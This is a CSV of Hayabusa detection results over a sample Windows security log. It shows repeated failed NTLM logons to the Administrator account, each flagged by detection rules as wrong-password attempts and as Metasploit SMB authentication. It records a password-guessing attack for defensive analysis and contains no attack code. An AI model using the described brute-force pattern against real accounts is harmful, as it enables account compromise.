Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.935 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: S7dF4fIlAvIBYiw0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.935 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.976 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bPDPtH2m9TgW8Khg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.976 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.008 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AChGHCNom0ds5ujV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.008 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.052 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8sLQI4KGgQRq2Sy9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.052 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.088 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dqeLFLRT5EXiCBUC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.088 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.124 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Dx3tco9up7XnOa7h : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.124 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.159 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZdNX4ubtpQaV9EeF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.159 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.189 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: S05I0ZlGKGazkVkL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.189 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.228 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pzbfrYSYhxH6WcCt : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.228 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.304 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZGTvXs8Mlc0Fi7iT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.304 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.345 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: C1LjtTFjPfPlBqAi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.345 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.389 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1lhJW3iO1xGGTMhp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.389 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.427 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IMz7WmlBTgadVgN8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.427 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.468 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OB02epCA5pc5oBeJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.468 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.503 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KAFgReUMtu9VerRl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.503 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.543 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ByeL26yQfohpQT3z : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.543 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.597 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 527r3nh9ocmItXfL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.597 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.637 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HNeC1BBFVXv839Ys : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.637 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.673 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: juXXpQcoPfJLMQ3L : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.673 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.708 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: njNdv4lGnsUpooCP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.708 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.748 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: j6VchLhWJT7cCWVR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.748 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.788 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: r3xxnFpbd8zkFm0h : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.788 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.824 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jtf156NEpOebQHGC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.824 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.868 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 17O1jfGX6KQMPgnD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.868 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.905 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3NaqTqrCiPPfNxZF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.905 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.950 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Az7cwIWXUGVIMTv5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.950 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.004 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Djaxf99PVs2VkMy6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.004 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.056 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rbTSoTdaQ0Y4c9Gw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.056 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.096 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: g9aTo4QBHfrgPYZ2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.096 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.128 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dpHKjYzZTn0ruIrf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.128 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.168 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HqhPnV6tc8airRqu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.168 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.211 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RIOCqtXh5ji12U5q : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.211 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.254 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RwuGZ0kgg1yToLlr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.254 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.289 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZSBbd4qBRuzeKBjD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.289 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.337 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8zS1Muxc9gpcqv23 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.337 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.380 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: c6wiIkfkgtso42P1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.380 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.420 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Q1ilRmhSB5RfvpVa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.420 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.456 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PuQ47GGBraimypWL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.456 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.504 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UfUsAYWilbwMScpE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.504 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.554 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 22ZSltGNwIl0DNDM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.554 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.595 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IYwG9IUpdk5DmM8w : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.595 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.644 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4a8kbGxQFHDBodGF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.644 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.685 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KoLqIaO8p3k9kOkj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.685 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.733 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rUnonSx3ZBdkyGhu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.733 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.772 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: d1QJziwKhsaJljGV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.772 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.807 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZhcNRrpODYB9jZxs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.807 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.852 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Yi5JE53caVn7n54w : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.852 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 